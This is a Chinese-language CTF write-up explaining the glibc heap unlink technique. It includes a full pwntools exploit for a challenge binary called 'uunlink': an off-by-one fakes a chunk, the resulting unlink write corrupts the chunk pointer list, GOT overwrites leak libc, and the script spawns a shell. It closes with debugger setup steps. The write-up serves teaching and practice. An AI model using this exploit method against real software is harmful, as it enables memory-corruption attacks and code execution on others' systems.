Unlink

  • Author:ZERO-A-ONE
  • Date:2021-07-03

一、unlink的原理

  • 简介:俗称脱链,就是将链表头处的free堆块unsorted bin中脱离出来然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或者向后合并),再放入到unsorted bin中

  • 危害原理:通过伪造free状态的fake_chunk,伪造fd指针和bk指针,通过绕过unlink的检测实现unlink,unlink就会往p所在的位置写入p-0x18,从而实现任意地址写的漏洞

  • 漏洞产生原因:offbynull、offbyone、堆溢出,修改了堆块的使用标志位

相关源码的说明情况如下:

/*malloc.c  int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
      p = chunk_at_offset(p, -((long) prevsize)); 
     
      unlink(p, bck, fwd);
}   
//相关函数说明:
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s))) 
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
             malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    FD->bk = BK;                                  \
    BK->fd = FD;                                  \
    ...
}

二、unlink的绕过&利用

伪造如下:

chunk = 0x0602280(P是将要合并到的堆地址,P存在于chunk中,相当于*chunk=P)
P_fd = chunk-0x18 = 0x602268
P_bk = chunk-0x10 = 0x602270

绕过技巧:

define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \FD = 0x602268
    BK = P->bk;                                   \BK = 0x602270
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))    \FD->bk  = *(0x602268+0x18) | *(0x602280) = P 
	\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!              
             malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    FD->bk = BK;                                  \*(0x602268+0x18) | *(0x602280)  = 0x602270
    BK->fd = FD;                                  \ *(0x602270+0x10) | *(0x602280) = 0x602268
    ...
}

最终效果就是往chunk里面写入了chunk-0x18的值!

三、做题实践

3.1 uulink

首先检查一下程序的编译情况

(base) syc@ubuntu:~/Desktop/unlink$ checksec uunlink
[*] '/home/syc/Desktop/unlink/uunlink'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

然后打开IDA进行静态分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+2Ch] [rbp-4h]

  init();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read_0(nptr, 16LL);
      v3 = atoi(nptr);
      if ( v3 != 1 )
        break;
      add(nptr);
    }
    if ( v3 == 3 )
    {
      delete(nptr);
    }
    else if ( v3 == 2 )
    {
      show(nptr);
    }
    else if ( v3 == 4 )
    {
      edit(nptr);
    }
    else
    {
      if ( v3 == 5 )
        exit(0);
      puts("Invalid choice!");
    }
  }
}

是一道经典的菜单题

int menu()
{
  puts("\n***********************");
  puts("Welcome to the magic book world!");
  puts("***********************");
  puts("1.create a book");
  puts("2.show the content");
  puts("3.throw a book");
  puts("4.write something on the book");
  puts("5.exit the world");
  return printf("Your choice: ");
}

我们可以发现add功能

int add()
{
  int result; // eax
  int size; // [rsp+Ch] [rbp-14h]
  int v2; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Give me a book ID: ");
  __isoc99_scanf("%d", &v2);
  printf("how long: ", &v2);
  __isoc99_scanf("%d", &size);
  result = v2;
  if ( v2 >= 0 )
  {
    result = v2;
    if ( v2 <= 49 )
    {
      if ( size < 0 || chunk[v2] )
      {
        result = puts("too large!");
      }
      else
      {
        v3 = v2;
        chunk[v3] = malloc(size);
        ::size[v3] = size;
        result = puts("Done!\n");
      }
    }
  }
  return result;
}

我们可以通过输入ID和size,在chunk数组的ID位置通过malloc分配一块size大小的内存区域

我们再检查一下delete函数

__int64 delete()
{
  int v1; // [rsp+0h] [rbp-10h]
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = 0;
  puts("Which one to throw?");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 50 && v1 >= 0 )
  {
    if ( chunk[v1] )
    {
      free(chunk[v1]);
      chunk[v1] = 0LL;
      v2 = puts("Done!\n");
    }
  }
  else
  {
    v2 = puts("Wrong!\n");
  }
  return v2;
}

是正常的free操作并将指针清零

我们再检查一下edit操作

int edit()
{
  int v1; // [rsp+0h] [rbp-10h]
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Which book to write?");
  __isoc99_scanf("%d", &v1);
  printf("how big?", &v1);
  __isoc99_scanf("%d", &v2);
  if ( chunk[v1] )
  {
    printf("Content: ", &v2);
    read_0(chunk[v1], v2);
  }
  return puts("Done!\n");
}

需要我们提供需要编辑的chunk的编号和chunk的大小

其中还有一个read_0函数

__int64 __fastcall read_0(__int64 a1, int a2)
{
  unsigned int i; // [rsp+18h] [rbp-28h]
  char buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; (signed int)i <= a2; ++i )
  {
    read(0, &buf, 1uLL);
    if ( buf == 10 )
      break;
    *(_BYTE *)(a1 + (signed int)i) = buf;	//unlink
  }
  return i;
}

这里存在一个漏洞,我们的chunk的内存大小可以看作[size]形式的数组,如果是小于等于size写入内存,会造成多写入一字节的内容,也就是offbyone,溢出了单字节,这里提供了我们unlink的基础

然后这题也并没有开启PIE也满足了我们unlink的需求

对于菜单题,我们书写EXP首先要做的是把相关的操作函数编写好

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def malloc(index,size):
    ru("Your choice: ")
    sl('1')
    ru("Give me a book ID: ")
    sl(str(index))
    ru("how long: ")
    sl(str(size))

def free(index):
    ru("Your choice: ")
    sl('3')
    ru("Which one to throw?")
    sl(str(index))

def edit(index,size,content):
    ru("Your choice: ")
    sl('4')
    ru("Which book to write?")
    sl(str(index))
    ru("how big?")
    sl(str(size))
    ru("Content: ")
    sl(content)

我们先分配几个chunk供我们unlink操作

malloc(0,0x30)
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)

假设我们要unlink的堆块是0号块,则我们需要寻找0号块的地址在哪里,因为没有开启PIE,我们可以直接找到

.bss:0000000000602300 ; void *chunk[50]
.bss:0000000000602300 chunk           dq ?                    ; DATA XREF: init+7C↑o
.bss:0000000000602300                                         ; add+83↑r ...
.bss:0000000000602308                 db    ? ;
.bss:0000000000602309                 db    ? ;
.bss:000000000060230A                 db    ? ;
.bss:000000000060230B                 db    ? ;
.bss:000000000060230C                 db    ? ;

不难发现0号块的地址就应该保存在chunk数组的第0位,也就是0x602300,则0号块就成为我们伪造堆块的P块,根据伪造的规则,我们应该开始伪造fd和bk

fd = 0x00602300-0x18
bk = 0x00602300-0x10

之后我们可以开始伪造,我们回忆一下chunk的基本构造

已被分配且填写了相应数据的chunk:
在这里插入图片描述

被释放掉的malloced chunk成为free chunk:
在这里插入图片描述

因为我们的P块申请的时候大小是0x30,所以我们在P块内部构造的fake chunk的大小就是30,fd和bk指针如上

py = ''
py += p64(0) + p64(0x31)
py += p64(fd) + p64(bk)
py += p64(0) + p64(0)
py += p64(0x30) + p64(0x100)

在写入伪造的堆块之前,我们先看看内存中堆块的布局和内容,操作方式是在edit之前加入debug(0)
在这里插入图片描述
在这里插入图片描述

然后查看写入伪造的堆块后
在这里插入图片描述

我们可以发现我们在P块里伪造了两个个chunk

第一个:

+0010 0x130f010  00 00 00 00  00 00 00 00  31 00 00 00  00 00 00 00  
+0020 0x130f020  e8 22 60 00  00 00 00 00  f0 22 60 00  00 00 00 00  
+0030 0x130f030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  

第二个:

+0040 0x130f040  30 00 00 00  00 00 00 00  00 01 00 00  00 00 00 00 
+0050 0x130f050  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  

这样的结果就是我们原来放在0x130f040的块标志位被修改成00,认为前面的块已经被释放了,所以我们可以发现系统显示第一个0x130f000的状态是Freed

我们又知道chunk的第0块放在0x602300,我们使用telescope来做检查
在这里插入图片描述

如果此时我们free掉第1块,也就是0x130f040则会触发unlink机制,

我们根据unlink的源码

define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \FD = 0x602268
    BK = P->bk;                                   \BK = 0x602270
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))    \FD->bk  = *(0x602268+0x18) | *(0x602280) = P 
	\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!              
             malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    FD->bk = BK;                                  \*(0x602268+0x18) | *(0x602280)  = 0x602270
    BK->fd = FD;                                  \ *(0x602270+0x10) | *(0x602280) = 0x602268
    ...
}
  • 此时:*chunk[0] = P = 0x130f010
  • FD = P-> fd = *(0x130f010+0x10) =0x6022e8
  • BK = P-> bk = *(0x130f010+0x18)= 06022f0
  • FD->bk = *(0x6022e8+0x18) = *0x602230 = 0x130f010
  • BK->fd = *(0x6022f0+0x10)= *0x602230 = 0x130f010

我们现在释放chunk[1]
在这里插入图片描述

我们可以发现堆块发生了合并,0x130f010加入了unsorted bin中,同时P与后面合并的结果就是*chunk[0] = P - 0x18 = 0x6022e8
在这里插入图片描述

这样我们再次edit chunk[0]就是可以修改0x6022e8
在这里插入图片描述

那么我们就可以修改chunk列表,可以把chunk对应的堆地址修改掉,比如说我们把堆修改成free hook,那我们就有机会edit free hook,或者修改got表

那我们可以先填充a,然后写入free和atoi的got表,暴露真实地址

py = ''
py += 'a'*0x18
py += p64(atoi_got)
py += p64(atoi_got)
py += p64(free_got)

然后edit堆块,我们看一下效果
在这里插入图片描述

我们可以发现成功在堆块指针中写入了got表,那我们再次edit对应的堆块则能直接修改got表

然后我们发现chunk[2](chunk+0x16)对应的是free的got表,我们可以将free修改为puts函数,同时将0号块的地址打印出来,也就是atoi的got表的真实地址

edit(2,0x10,p64(puts_plt))

在这里插入图片描述

然后我们将atoi的got表修改为system函数
在这里插入图片描述

addr = u64(rc(6).ljust(8,'\x00'))-libc.sym["atoi"]
print "addr--->"+hex(addr)
system = addr + libc.sym["system"]
gdb.attach(p,"b *0x00000000000000400C53")
edit(1,0x10,p64(system))
# bk(0)
ru("Your choice: ")
sl('/bin/sh\x00')
p.interactive()

完整的EXP:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./uunlink')
if local:
    p = process('./uunlink')
    libc = elf.libc
else:
    p = remote('172.16.229.161',7001)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))


def malloc(index,size):
    ru("Your choice: ")
    sl('1')
    ru("Give me a book ID: ")
    sl(str(index))
    ru("how long: ")
    sl(str(size))

def free(index):
    ru("Your choice: ")
    sl('3')
    ru("Which one to throw?")
    sl(str(index))

def edit(index,size,content):
    ru("Your choice: ")
    sl('4')
    ru("Which book to write?")
    sl(str(index))
    ru("how big?")
    sl(str(size))
    ru("Content: ")
    sl(content)

atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.sym["puts"]
malloc(0,0x30)
malloc(1,0xf0)
malloc(2,0x100)
malloc(3,0x100)
fd = 0x00602300-0x18
bk = 0x00602300-0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(fd) + p64(bk)
py += p64(0) + p64(0)
py += p64(0x30) + p64(0x100)
#debug(0)
edit(0,0x60,py)
# gdb.attach(p,"b *0x000000000400BA0")
free(1)
py = ''
py += 'a'*0x18
py += p64(atoi_got)
py += p64(atoi_got)
py += p64(free_got)

edit(0,0x60,py)
debug(0)
# gdb.attach(p,"b *0x0000000000400C89")
edit(2,0x10,p64(puts_plt))
free(0)
rc(1)
addr = u64(rc(6).ljust(8,'\x00'))-libc.sym["atoi"]
print "addr--->"+hex(addr)
system = addr + libc.sym["system"]
gdb.attach(p,"b *0x00000000000000400C53")
edit(1,0x10,p64(system))
# bk(0)
ru("Your choice: ")
sl('/bin/sh\x00')
p.interactive()

四、pwndbg+pwndbg联合使用

先安装pwngdb,pwngdb的功能特别广泛,主要如下

libc : Print the base address of libc
ld : Print the base address of ld
codebase : Print the base of code segment
heap : Print the base of heap
got : Print the Global Offset Table infomation
dyn : Print the Dynamic section infomation
findcall : Find some function call
bcall : Set the breakpoint at some function call
tls : Print the thread local storage address
at : Attach by process name
findsyscall : Find the syscall
fmtarg : Calculate the index of format string
You need to stop on printf which has vulnerability.
force : Calculate the nb in the house of force.
heapinfo : Print some infomation of heap
heapinfo (Address of arena)
default is the arena of current thread
If tcache is enable, it would show infomation of tcache entry
heapinfoall : Print some infomation of heap (all threads)
arenainfo : Print some infomation of all arena
chunkinfo: Print the infomation of chunk
chunkinfo (Address of victim)
chunkptr : Print the infomation of chunk
chunkptr (Address of user ptr)
mergeinfo : Print the infomation of merge
mergeinfo (Address of victim)
printfastbin : Print some infomation of fastbin
tracemalloc on : Trace the malloc and free and detect some error .
You need to run the process first than tracemalloc on, it will record all of the malloc and free.
You can set the DEBUG in pwngdb.py , than it will print all of the malloc and free infomation such as the screeshot.
parseheap : Parse heap layout
magic : Print useful variable and function in glibc
fp : show FILE structure
fp (Address of FILE)
fpchain: show linked list of FILE
orange : Test house of orange condition in the _IO_flush_lockp
orange (Address of FILE)
glibc version <= 2.23

安装教程:

cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git 
cp ~/Pwngdb/.gdbinit ~/

然后再安装pwndbg

安装教程:

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

然后开始开始编辑

$ vim ~/.gdbinit
source ~/pwndbg/gdbinit.py
#source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值